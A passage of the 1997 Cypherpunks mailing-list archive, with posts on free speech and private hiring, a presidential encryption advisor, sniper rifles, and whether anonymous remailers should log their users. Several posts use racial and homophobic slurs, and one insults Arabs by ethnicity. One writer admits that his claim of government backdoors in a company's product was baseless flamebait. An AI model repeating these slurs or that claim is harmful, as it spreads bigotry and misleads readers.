As kinky as it sounds, finger me to see my PGP key and
confirm the signature attached to this message.
- ---
Any and all SPAM will be met with immediate prosecutory
efforts.  Solicitations are NOT welcome here!
- ---
        ----BEGIN INFLAMATORY BLOCK----
Version: 160 (IQ)
Comments: Definitely one of their greatest misses.

Reporter: "Do you know what Public Enemy is?"
- ---
Citizen: "Public enemy?"
          [long pause]
         "Probably somebody in office."
        -----END INFLAMATORY BLOCK-----


-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0 for non-commercial use 
Charset: noconv

iQEVAwUBNJ+DVwBMw4+NR29ZAQHt5gf/efGXE/0jPvQvtDFri//drmzhE4dRIU6I
jD1JsLmLrjvNUEzzFo8QNpe4q7Fbx9HvQyfDjjIC19F/4yHv2kFs+PcQ1C49s1q5
dc/BXOrxvoJTN9HSiQ56FYosAUU2KnJJ9HalIb52CzajpJsFCqUJEVww0djqKb7v
XIqXCY3Ax8cNsxhS/F/AnWeq0FC2ONQCcNWWGHPc0h77KEutPjY2yDPwSXA2Wb2E
+xqEqC4D/mZmXYc5AWe8VjXLyUDZ7sUT4K7UmL13y0wC9X3NFKZgsUC5YPV3Wb5j
lTeE6RHQG38F+/ozYsWanYFXtjJ8VWMX4xK73P0qL6ieQtFvyrPHMQ==
=ixle
-----END PGP SIGNATURE-----






From sheriff at speakeasy.org  Tue Dec 23 02:33:56 1997
From: sheriff at speakeasy.org (The Sheriff)
Date: Tue, 23 Dec 1997 18:33:56 +0800
Subject: Freedom Forum report on the State of the First Amendment
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

>Date: Sun, 21 Dec 1997 15:23:23 -0400
>To: David Honig 
>From: The Sheriff 
>Subject: Re: Freedom Forum report on the State of the First Amendment
>Cc:
>Bcc:
>X-Attachments:
>
>>Marc, you have declared how far you take freedom: you apparently
>>believe it is proper for the government to intervene in private hiring
>>decisions.  Unfortunately many americans believe this intrusion is justified.
>
>I have to admit, at first I agreed with Marc, until I thought
>about it for a minute.  After all, to leave a people free is not
>to leave them in chaos -- freedom comes with responsibility,
>period.  It doesn't have to be levied by a governmental body --
>there will allways be consequences when a free man makes a choice
>or takes action in some way, be they good consequences or bad.
>
>After all, if the majority of the population of a free society
>didn't have a problem with homosexuals, and yet Employer X fired
>people because they were homosexual or friends with someone who
>was, I get the sneaking suspicion that one of two things would
>happen:
>
>1) Employer X's work force would eventually evaporate.
>
>2) Those who stuck with Employer X might soon find that
>   their boss doesn't discriminate solely against gays.
>
>In considering the position that employers have every right to
>fire for whatever reason, I have decided that the firing of an
>employee -- for whatever reason -- is, in itself, a form of
>speech.  "In terminating your employment and having you escorted
>off the premesis effective immediately, we here at Corp X are
>saying that all faggots suck."
>
>As such, who is to say that Employer X should be punished for
>his views?  Americans don't have a RIGHT to employment.  That's
>why people take their future into their own hands and become their
>own employers, right?
>
>

Best wishes and fresh-roasted peanut taste,
The Sheriff. -- ******
- ---
As kinky as it sounds, finger me to see my PGP key and
confirm the signature attached to this message.
- ---
Any and all SPAM will be met with immediate prosecutory
efforts.  Solicitations are NOT welcome here!
- ---
        ----BEGIN INFLAMATORY BLOCK----
Version: 160 (IQ)
Comments: Definitely one of their greatest misses.

Reporter: "Do you know what Public Enemy is?"
- ---
Citizen: "Public enemy?"
          [long pause]
         "Probably somebody in office."
        -----END INFLAMATORY BLOCK-----


-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0 for non-commercial use 
Charset: noconv

iQEVAwUBNJ+DYwBMw4+NR29ZAQEABQgAtc5fh8yastnBu6A6m2emw3PRj0rCUKwR
s9n7myQm1KWOkb5lO44Vz+CoBdBblh5INezrLJ1O5Rspv+GBLygIhi71yM8k2QLc
8kYQ2cBgwCF+M8xUMKvkWB2dg3grEcv9AqZhl+1RCaOuiUvDeHb2T17glQ5sCjd7
p6eDU8ldMabcV6xmS4uoCTbyNH1SPp7j91h503xz/9oBjspMPKzTX1lF7KTnl+sP
8q91O+KUpnq+V88dp1AzgsZ1da+o5jBgXNLC8G2OcUpA4wlhbLc33FZb0S8if70D
/NYCZZH6TL08glhxG4FKkL9FiOaSyJA/Ca2juipFlYL7I9quwT+Tbw==
=jHny
-----END PGP SIGNATURE-----






From jya at pipeline.com  Tue Dec 23 04:31:15 1997
From: jya at pipeline.com (John Young)
Date: Tue, 23 Dec 1997 20:31:15 +0800
Subject: New Presidential Crypto Advisor
Message-ID: <1.5.4.32.19971223122555.0074cc44@pop.pipeline.com>



 22 December 1997, U.S. Newswire:

 Clinton Nominates Honigman Special Advisor to President 

 Washington, Dec. 22 -- The President today announced the appointment of Steven 
 S. Honigman as Special Advisor to the President. Mr. Honigman will bring
senior 
 level and government-wide leadership to the Administration's procurement of 
 encryption technology and services. 

 Mr. Honigman's responsibilities will include assuring that agency procurement
 policies, requirements, practices and programs are coordinated and consistent 
 with Administration encryption policies. He will also coordinate agency 
 encryption pilot projects and bring them to production, promote public-private 
 standards development, and maintain a dialogue with the public about these 
 efforts. His work will require consultation with all major Federal agencies, 
 White House policy offices, the Congress, market participants, foreign 
 entities and the private sector. 

 Mr. Honigman has served since June 1993 as the General Counsel of the Navy. In
 that position, he has been the Department of the Navy's chief legal officer
and 
 the principal legal advisor to the Secretary of the Navy. As Navy General 
 Counsel, he has been a leader in acquisition reform and procurement-related 
 litigation. 

 Mr. Honigman was born in Brooklyn, New York. He received his B.A. degree
 from New York University and his J.D. degree from Yale Law School. Mr.
 Honigman has practiced as a civil litigator in New York City. His areas of
 specialization included international and domestic reinsurance and insurance
 disputes, transactions and insolvencies. 

----------







From shamrock at cypherpunks.to  Tue Dec 23 04:44:40 1997
From: shamrock at cypherpunks.to (Lucky Green)
Date: Tue, 23 Dec 1997 20:44:40 +0800
Subject: Best Cypherpunk long gun
In-Reply-To: <199712230611.WAA27275@sirius.infonex.com>
Message-ID: 



On Mon, 22 Dec 1997, Mix wrote:

> What is the best long gun for a Cypherpunk?

There are some howitzers that can deliver nuclear artillery shells at 50+
miles. I think their barrels are pretty long.

:-)
-- Lucky Green  PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"






From paul at fatmans.demon.co.uk  Tue Dec 23 06:33:08 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 23 Dec 1997 22:33:08 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: 




> Tim's analysis is nonsensical.
> 
> A government employee loses his job because of his political
> views. He brings a lawsuit, alleging a violation of the First
> Amendment, and eventually prevails in the Supreme Court.
> 
> A non-government employee who loses his job because of his
> political views would have no cause of action because the
> private employer is not bound by the First Amendment.
> 
> Therefore there should be far fewer government employees
> to prevent further erosion of the First Amendment.

This makes sense, do you not see the logic?

> >Suppose RealBig Corporation fired Umbehr for his views. Would a First
> >Amendment issue have arisen? Of course not. In a free society, RealBig is
> >free to hire whom it wishes, and to refuse to hire niggers, homos,
> >perverts, Jews, whatever. And to fire anyone who wrote opinions the
> >managers at RealBig disliked.
> 
> Substitute "fascist society" for "free society" in the paragraph
> above and the discussion begins to make some sense. Hell, it's even
> historically accurate.

Wrong, do you dispute the fact that RealBig corp. is free to refuse to 
hire people for any reason whatsoever? Do you think I should not be 
allowed to refuse to hire people because of their race or sexual orientation?

Should the government be able to take action against me because I fire 
someone for being jewish/black/homosexual???


        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From ichudov at Algebra.COM  Tue Dec 23 06:37:44 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Tue, 23 Dec 1997 22:37:44 +0800
Subject: Best Cypherpunk long gun
In-Reply-To: <3.0.3.32.19971222234123.00a223b0@shell9.ba.best.com>
Message-ID: <199712231426.IAA24270@manifold.algebra.com>



landon dyer wrote:
> At 10:11 PM 12/22/97 -0800, you wrote:
> >What is the best long gun for a Cypherpunk?
> 
>   A Solothurn, natch.  For those who don't know:  A circa 1938 20mm
> anti-tank rifle; be sure to get the high power telescopic sight.  Why
> screw around?  :-)

I am sure that you read about it in _UC_.

>  [read _unintended consequences_; as john brunner said: "move in with it"]

Anyone else thinks that Unintended Consequences is a bad fiction?

	- Igor.






From ichudov at Algebra.COM  Tue Dec 23 06:46:26 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Tue, 23 Dec 1997 22:46:26 +0800
Subject: Best Cypherpunk long gun
In-Reply-To: 
Message-ID: <199712231432.IAA24339@manifold.algebra.com>



Tim May wrote:
> For defending the _perimeter_ of my property against Those Who Would
> Trespass, I count on a Remington Model 700 "varmint" rifle, chambered in
> .308 (or 7.62 NATO). It's a bolt-action, but the expected use is for
> long-range (300 meters) use, aka "sniping." The usual high-power scope.
> This rifle is capable of sub-MOA (minute of angle) groups, meaning less
> than 1-inch groups at a hundred yards.

Is there any version of Remington 700 (maybe PSS) that accepts 
detachable magazines?

	- Igor.






From paul at fatmans.demon.co.uk  Tue Dec 23 06:54:06 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 23 Dec 1997 22:54:06 +0800
Subject: Hate speech and censorship (fwd)
In-Reply-To: <199712221620.KAA18039@einstein.ssz.com>
Message-ID: 



> > Yes, those on the list a few months ago (around the time the list moved 
> > from cocksucker John Gilmores toad.com to the distributed list format) 
> 
> Dude, that was well over a year ago...

It is close to christmas and the high seasonal dose of alcohol has 
affected my judegement and sense of time, oh well.

PS: to the list in general: I`m away for a few days over christmas 
starting today, a merry christmas to you all and I`ll be back on the list 
in the new year... Bye for now..

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From paul at fatmans.demon.co.uk  Tue Dec 23 06:55:38 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 23 Dec 1997 22:55:38 +0800
Subject: Hate speech and censorship
In-Reply-To: <199712221655.RAA22222@basement.replay.com>
Message-ID: 




> On behalf of the non-racist cypherpunks, please accept an apology for
> Paul Bradley's racist message:

One behalf of the cypherpunks who believe in free speech and calling a 
spade a spade, I appologies for the anonymous PC coward posting this rubbish.

> > uneducated and foolish arabs such as Parekh should stick 
> > to what they do best: running kebab shops and/or selling cheap fake rolex 
> > watches to tourists. 
> 
> This does not reflect the mainstream view on the list.

You must have mistaken me for someone who gives a fuck.

> Cypherpunks
> understand that disparaging the racial background of others is a weak
> and invalid form of argument.

Cypherpunks flame people where it is appropriate, and often where it is 
not, cypherpunks do whatever the fuck they like, how do you know what 
cypherpunks understand?

> While it may be appropriate to criticize actions taken during the list
> moderation experiment, casting the issue in racial terms only reveals
> the ignorance and bigotry of the writer.

Hi Sandy, "moderation experiment", unmistakable C2Net speak. Freespeech 
doubleplus ungood, moderation cypherpunkwise doubleplus good. 

I am neither ignorant nor bigoted, and have nothing against arabs as long 
as they are not censorous. 

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From paul at fatmans.demon.co.uk  Tue Dec 23 07:02:43 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 23 Dec 1997 23:02:43 +0800
Subject: C2net bashers... well let's hear it
In-Reply-To: <199712221932.TAA00384@server.eternity.org>
Message-ID: 



> Paul Bradley  writes:
> > Yes, those on the list a few months ago [...] will remember
> > censorous arab Sameer Parekh for sending abusive mail threatening
> > legal action to those who criticised the security of his companies
> > "stronghold" firewall,
> 
> Stronghold is a web-server, not a firewall.

My mistake, memory fails under the influence of alcohol.

> > which I among others suspect to contain govt. backdoors, 
> 
> Would you or Dimitri care to be more specific?

Not really, This was just flamebait, I have no strong opinion one way or 
the other about stronghold, and have never looked at the product.

> (Yes we know about the legal threats Dimitri received, personally I
> consider this is a mistake on C2Net's part).

This is the sole reason I have a low opinion of C2Net, hardly a reason to 
suspect their products are insecure you might say, but certainly a valid 
reason to treat their products with caution, as it shows a censorous 
trait in the company.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From paul at fatmans.demon.co.uk  Tue Dec 23 07:09:18 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 23 Dec 1997 23:09:18 +0800
Subject: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Peter duh Silva)
In-Reply-To: <199712221915.TAA00367@server.eternity.org>
Message-ID: 




> > I've heard some U.S. cellular carriers are experimenting with
> > "caller pays" billing.  Does anyone on the list have experience with
> > "caller pays"?
> 
> I was totally amazed when I heard from a US friend that US cell phones
> don't bill the caller!  My immediate thought was "people can spam call
> you and run your bill up, ouch!"

UK cellphone companies used to charge a rate to both the caller and the 
recieving party for cellphone calls (if I recall correctly the only 
companies operating then were cellnet and vodaphone, now there are two 
other PCS networks, orange and mercury one2one), are any US companies 
operating the same schemes as the new ones being offered over here (that 
is, one buys a cellphone then pays no line rental, just call charges up 
front, the advantages are obvious for those who make very few calls as 
there is no $40 per month line rental charge, but the calls are expensive 
(around $1 per minute)). 

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From dlv at bwalk.dm.com  Tue Dec 23 07:13:58 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 23:13:58 +0800
Subject: Best Cypherpunk long gun
In-Reply-To: 
Message-ID: 



Lucky Green  writes:

> On Mon, 22 Dec 1997, Mix wrote:
>
> > What is the best long gun for a Cypherpunk?
>
> There are some howitzers that can deliver nuclear artillery shells at 50+
> miles. I think their barrels are pretty long.

During WWI the germans had something called "Big Bertha". It may have been
longer.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From ravage at ssz.com  Tue Dec 23 07:33:14 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 23:33:14 +0800
Subject: Best Cypherpunk long gun (fwd)
Message-ID: <199712231551.JAA25031@einstein.ssz.com>



Forwarded message:

> Date: Tue, 23 Dec 1997 01:08:04 -0700
> From: Tim May 
> Subject: Re: Best Cypherpunk long gun (fwd)

>  I can't agree that the HK 91 (the .308 version) is a popular sniper
> weapon.

Military and police snipers the world over differ strongly with you...
Beside, it's the 93/G3 not the 91 (thought they do share a lot of commen base
pieces) that is the sniper rifle. I believe you will also find that the .308
is the base caliber for all versions. Your wording above would indicate the
91 was .308 while the 93 was a different caliber, this is incorrect. Visit
the H&K home page...

> For sniper work, a bolt-action is by far the most popular piece.

Really? Watch a few more of those silly police shows on at night. Pay
particular attention to the long-term hostage episodes. I generaly see the
break-in team carrying MP-5 or shortie M-16's. I have yet to see the backup
or sniper team using a bolt-action. Learning base tactics is about the only
thing these shows are good for.

> I'm also skeptical about lasers, for daylight use. The three lasers I have
> owned have been good for indoor use, but visibility outdoors during the day
> is very poor.

I only use them for long-range shots and it does require the scope to see
the spot - the whole point really. The idea is the beam is of very low power
at this point and doesn't stand out quite as bad as up close (the glowing
red dot).

> (IR lasers with IR night vision gear is another matter, but also another
> price matter, too.)

Bad news, the others guys IR/IIS will spot you in a heart-beat, never use a
laser at nite, it's like tracers - they work both ways. You want to stick
with a strictly 3rd generation passive IR/IIS.

Remember, we're counter-sniping at this point...



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From craffert at ml.com  Tue Dec 23 07:42:18 1997
From: craffert at ml.com (Colin Rafferty)
Date: Tue, 23 Dec 1997 23:42:18 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: 
Message-ID: 



Tim May writes:
> At 11:04 AM -0700 12/22/97, David Honig wrote:

>> Note that if the library in question were not arm of the State,
>> noone would have any First Amendment claim.
>> 
>> This is reminiscent of TM's recent (controversial) analysis of the fired
>> county trashworker/author,
>> and suggests a clearer example of the confusion caused by State as Employer:

> Yep, I started to write just such an analysis this morning when I saw
> Declan's report. But I felt the arguments had already been made, in other
> cases, so I never finished the article.

> Look, the state-as-employer or the state-as-library has, for ontological
> reasons, various rules, conditions, etc. which have nothing to do with the
> state-as-sovereign.

> If the state-as-employer insists that English be spoken in offices, is this
> an infringement of First Amendment rights in even remotely the same way as
> if the state-as-sovereign illegalized the speaking of Portugese in Texas
> (or anyplace else that was not a state-as-employer office)?

If it is legal for employers to insist on a particular language being
spoken, then it is legal for the government, as an employer to do so.

> When the state-as-sovereign sets up libraries that don't carry Everything
> (hint: and not even the LOC carries everything), then the choices it makes
> can be seen by some to be First Amendment violations.

This is not a First Amendment violation.

The government is not required to promote all speech, but only to not
restrict it.  Selection of books for a library does not abdridge freedom
of speech, since the act of not selecting does not reduce speech.

Modifying the content of the selected books would be an infriging act,
since that is a reduction.

They cannot subscribe to Playboy and then put pasties on the nipples.
Nor can they subscribe to the Internet and then filter it.

> That way lies madness.

> A better solution is to get Government out of the business of running
> libraries or providing Net access.

I fail to see how this will solve anything.

Right now, we can fight censoring the Internet in libraries because this 
is the State acting as Sovereign.  In private libraries, fighting this
would be 



> Again, I see no clearcut First Amendment issues here.

It is very seldom that any Constitutional issue is clearcut.  That
doesn't mean that we should throw it out, though.

-- 
Colin Rafferty
-- 
"In our society, you can state your views, but they have to be correct."
 --Ernie Hai, co-ordinator of the Singapore Government Internet Project






From dlv at bwalk.dm.com  Tue Dec 23 07:42:19 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 23:42:19 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: 



Paul Bradley  writes:

> > Tim's analysis is nonsensical.
> >
> > A government employee loses his job because of his political
> > views. He brings a lawsuit, alleging a violation of the First
> > Amendment, and eventually prevails in the Supreme Court.
> >
> > A non-government employee who loses his job because of his
> > political views would have no cause of action because the
> > private employer is not bound by the First Amendment.
> >
> > Therefore there should be far fewer government employees
> > to prevent further erosion of the First Amendment.
>
> This makes sense, do you not see the logic?

paul, it only makes sense according to my logic or your logic.
According to mark's logic (totally different) everyone should be
a government employee.

> > >Suppose RealBig Corporation fired Umbehr for his views. Would a First
> > >Amendment issue have arisen? Of course not. In a free society, RealBig is
> > >free to hire whom it wishes, and to refuse to hire niggers, homos,
> > >perverts, Jews, whatever. And to fire anyone who wrote opinions the
> > >managers at RealBig disliked.
> >
> > Substitute "fascist society" for "free society" in the paragraph
> > above and the discussion begins to make some sense. Hell, it's even
> > historically accurate.
>
> Wrong, do you dispute the fact that RealBig corp. is free to refuse to
> hire people for any reason whatsoever? Do you think I should not be
> allowed to refuse to hire people because of their race or sexual orientation?
>
> Should the government be able to take action against me because I fire
> someone for being jewish/black/homosexual???

In Mark's world, that's the next best thing to not letting RealBig Corp
hire anyone at all, so it cannot "discriminate".  let the gubmint do all
the hiring.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From craffert at ml.com  Tue Dec 23 07:44:34 1997
From: craffert at ml.com (Colin Rafferty)
Date: Tue, 23 Dec 1997 23:44:34 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: 



Paul Bradley writes:

>> >Suppose RealBig Corporation fired Umbehr for his views. Would a First
>> >Amendment issue have arisen? Of course not. In a free society, RealBig is
>> >free to hire whom it wishes, and to refuse to hire niggers, homos,
>> >perverts, Jews, whatever. And to fire anyone who wrote opinions the
>> >managers at RealBig disliked.
>> 
>> Substitute "fascist society" for "free society" in the paragraph
>> above and the discussion begins to make some sense. Hell, it's even
>> historically accurate.

> Wrong, do you dispute the fact that RealBig corp. is free to refuse to 
> hire people for any reason whatsoever? Do you think I should not be 
> allowed to refuse to hire people because of their race or sexual orientation?

> Should the government be able to take action against me because I fire 
> someone for being jewish/black/homosexual???

Welcome to the 20th Century, moron.

-- 
Colin






From comsec at nym.alias.net  Tue Dec 23 07:47:37 1997
From: comsec at nym.alias.net (Charlie Comsec)
Date: Tue, 23 Dec 1997 23:47:37 +0800
Subject: Accountability and Traceless Remailers
In-Reply-To: <349fc1b7.510925872@news.cbr.aone.net.au>
Message-ID: <19971223154002.22967.qmail@nym.alias.net>




-----BEGIN PGP SIGNED MESSAGE-----

politas at dynamite.com.au (Politas) wrote:

> >Then what's the point of going to all the trouble of tracking someone down if
> >you're unwilling or unable to take appropriate legal action against him
> >after he's found?
>  
> Well, you don't (can't) know that until you find the responsible person,
>  can you?

You're missing the point.  You would have already made that decision before
you started the ball rolling.  By your own scenario, you'd already have filed
a court case and presented PROBABLE CAUSE that the law had been violated in
order to convince a judge to start issuing subpoenas, etc.

Do you really think the legal systems of several sovreign countries would go
to all this effort to identify a person that you only *MIGHT* want to sue?
If you caused all this expense and then decided not to sue, they'd be well 
justified in BILLING YOU for all the costs incurred.  Short of an outright 
criminal act where the government intervenes and prosecutes, in most civil 
cases it's customary for the accuser (plaintiff) to pay all of the costs in 
advance, then attempt to collect them from the defendant.  If you file a 
frivolous case, then later drop it, you're still stuck with paying the fees.

What's more, if you do all that, the person you tracked down (but never proved
any wrongdoing against) would have a perfect case to countersue you for
invasion of privacy.
 
> >I don't recall ever saying that.  How do you run a person out of
> >an unmoderated NG?
>  
> By continually posting attacks and offensive material under different
> nyms.

If you're easily offended, then an unmoderated usenet NG is not the place for
you.  I don't think you could ever enact enough laws to force people to be
nice to each other.
 
> >Nor do I understand the "who refuses to be killfilable" part, either.  How can
> >someone you don't even know control your killfile?
>  
> If someone keeps changing their nym, it is impossible to killfile them.

Then your beef is with ISPs like Netcom and AOL, not the remailers.  AOLers can
change screen names at will, and Netcom subscribers are free to put just
about anything in the From: line that they choose to.  I'm just citing two
examples.  The vast majority of the people giving usenet a bad name are doing
so with non-anonymous accounts at ISPs that couldn't care less what their
users say or do.  As I said before, just visit some of the usenet NGs where
people are being called "pedophiles" by people posting under their own user
IDs from well known ISPs.  That's about as clear-cut case of libel as you're
going to get (unless everyone so accused really is a pedophile) and yet I'll
bet that if I complained to the ISPs that nothing would be done.  I have no
reason to do so, but it's hard to believe that somebody hasn't complained by
now, and yet the flamers still have their accounts.  If the present system
is incapable of dealing with identifiable offenders, why worry about the few
anonymous ones among them?  Presumably if you track an anonymous poster down 
to an account at one of these ISPs, you'll be no better off than with those 
who now do the same thing openly.

You've also now switched the subject from arguably illegal behavior to that
which is merely annoying.  I'm not even sure that accusing a person of child
molestation in the context of an ongoing flame battle constitutes a winnable
case of libel, but it's the closest I can come.

> It doesn't stop you calling the police, it just stops them being able to
> do anything.

That's still your decision.  But if the person isn't "worth suing" by whatever
standards you use, then it doesn't matter whether he's anonymous or not.
 
> >Using a remailer does not make a person unidentifiable, just untraceable.
> >There is a difference.
>   
> What??????  How can I identify an anonymous poster if I can't trace
> them?  How can I use their posts as evidence if there is no way to trace
> those posts back to them?

That's like saying that you can't identify a masked bank robber just because
you didn't see him drive up and happen to take down his license number.  Bank
robbers are convicted all the time, even if they couldn't be identified at the
scene.  They were overheard planning the crime before hand.  They were caught
bragging about it afterwards.  They were caught spending the stolen money.  A
few stupid ones even visited the bank again without a mask to transact normal
business and a teller recognized their voice.

Thus, it is possible to deter and prosecute bank robbers without fingerprinting
everyone who merely walks into the bank.
 
> >Banks are a poor analogy, because anonymity is more analogous to paying cash.
> >When you sign your name to a check, you're already identifying yourself.
> >Banking is an inherently identity-based institution.  You're asking someone
> >to trust you, and it's up to you to prove yourself to be trustworthy.
>  
> Email and news postings are also inherently identity-based.

You'd like them to be, but they aren't.
  
> >A check is made valuable or worthless by virtue of the validity of its
> >signature.  Ideas can be evaluated on their own merit, just like paper
> >currency can.  I don't need to see two forms of ID to determine whether that
> >$100 bill you just handed me is genuine or counterfeit.
>  
> Look, you were saying that remailers storing ID information is treating
> people like criminals, and is unacceptable.  

No, I'm saying that FORCING remailer operators to collect this information
from their users is unacceptable.  The banks are doing what they believe to
be in their own best interests, just as the remailers are.

> I am saying that it is
> obviously acceptable for other institutions providing services to store
> a lot more information.  You aren't saying that banks are behaving
> unacceptably in storing ID information, so why is it unacceptable for a
> remailer to store far less information?

What you're proposing is like refusing cash and requiring that people pay via
traceable check.  I'm proposing giving people the option of doing either.  If
you don't want to accept cash in payment, nobody will force you to.  But don't
impose that rule on everyone else.

> >The solution being what?  Surrendering freedom for the sake of supposed
> >security?  I don't see that there is necessarily a dilemma between protecting
> >victims versus preserving the freedoms of average citizens.
>  
> Anonymity is not a right.  It is a privilege that can be granted by a
> person in a position to do so.  It is a privilege that should be able to
> be taken away if it is abused.

Under Australian law, perhaps, but not US.  We have a "Bill of Rights" here,
not a "list of optional privileges".  Our Supreme Court has already ruled
that anonymous speech is protected under the First Amendment to our
constitution.  Yes, free speech can be revoked if it's misused, but that's
only AFTER an offense has occurred and a proper restraining order has been
obtained.  What you're proposing requires a breach of one's privacy BEFORE 
any law has been broken.

> >It seems that every solution I offer Politas' is countered with a "yeah, but
> >what about .... " objection.  In an imperfect world, government cannot
> >completely protect people from themselves.
>  
> Society is all about protecting people from others, not themselves.

Maybe Australia didn't experiment with such things as Prohibition, then.
 
> >I'm really trying to understand what Politas' wants, but it's difficult.  I've
> >suggested several solutions to his hypothetical problems that don't infringe
> >on the freedoms of the innocent, but each is quickly rejected.
>  
> All your solutions involve the victim suffering for the acts of the
> perpetrator.  That is hardly justice.

Neither is the alternative.  You don't punish a person until AFTER he's been
convicted.  You say "anonymity is a privilege", but your proposal doesn't even
allow that.  How can I be ANONYMOUS if I have to IDENTIFY myself first?  I'd
lose the privilege before I even received it.  If I have to tell somebody who
I am, then I'm not anonymous.

> What I want is accountability.  If you are doing something wrong, you 
> should be accountable for it.  It is an underlying thread to all systems
> of justice.

In most free countries, the burden of proof is on the accuser.  What you're
proposing is like demanding that since you feel that your neighbor is a
"suspicious character", he ought to be required to wear an electronic device
at all times so that *IF* he should do something wrong, he can be traced.  That
technology exists, but it's only used after a person has been convicted and is
then released on probation or parole.

There's nothing in your scenario that couldn't be put in place AFTER you'd
shown probable cause that a law was being broken via a remailer.  The picture
that both you and Gary have painted is of a repeated pattern of offenses.
If you could demonstrate that the law was being broken, you could get the
proper courts to order that this tracing be instituted, for a limited period
of time, until the culprit was caught or the wrongdoing ended.  Why subject
all remailer users to this in advance just in case something MIGHT happen?
BTW, I'm not endorsing this compromise idea, just pointing out that less
onerous measures exist than what you're suggesting.
 
> Your solutions are the equivalent of saying, "Well, if you don't go into
> that part of town, you won't get mugged again."

You're changing the scenario.  It's more like going into a country where
Australians are unpopular and being called names.  You have your choice of
returning to that country or not.  Usenet is not in such a state that when
somebody calls you names on the playground you can call in a NetCop to
make those mean kids stop calling you names.

Even under you proposal, I doubt that you'd find a single country where
remailers are allowed to operate that would force a remailer operator to
violate a user's privacy over a usenet flame attack.

If you wander into a NG where someone doesn't like you, you can either stick
around and defend yourself, flame the person back, or move along.

Now what sort of usenet "mugging" did you have in mind that you think ALL the
governments under which remailers operate would be willing to exert their
legal clout to identify and prosecute the perpetrator?  Can you cite one
example, perhaps, of a real case in which your proposal would have been
effective?

- ----
Finger  for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNJ/C2Abp0h8ZvosNAQGUTwf9FEwJBEjD6HZsYXAaKzTKJMeVOUYoK7z2
/zEU9jNpCrdCO2Fm3TryB7nXHiJyV2HlqUHijgnoYGQsJBeTIKqtpIMG60z4Oi6F
THH9ke2bhQmfhkAgWHEZpjj7873mpL50r5lmBrSnwuBkUPejAa3JGR5XFLY4mHau
Rxcl+41vyW4YA6AN2IT7F/JFe1YBQLc/i6jgI01ATzEKtRxg0sOfOxiceRm5J6ke
CQhmb2ISG2yWetZFH6CY1vslz+6j/bTG9nPGc31LhfPSqLMFKNjlPsuiA11K6Un1
+9bofYFXm/HGvxqqmi4pKnV/D0eSYpUqb2krO+EIdOZaVhv5L9HJHA==
=Rl46
-----END PGP SIGNATURE-----






From dlv at bwalk.dm.com  Tue Dec 23 08:12:07 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 24 Dec 1997 00:12:07 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: 



Colin Rafferty  writes:
>
> > Should the government be able to take action against me because I fire
> > someone for being jewish/black/homosexual???
>
> Welcome to the 20th Century, moron.

Such rudeness on a public mailing list reflects very badly on your
employer, ml.com.  I invite everyone to join me in complaing to ml.com
about Colin Rafferty's abuse of ML's Internet services.

---

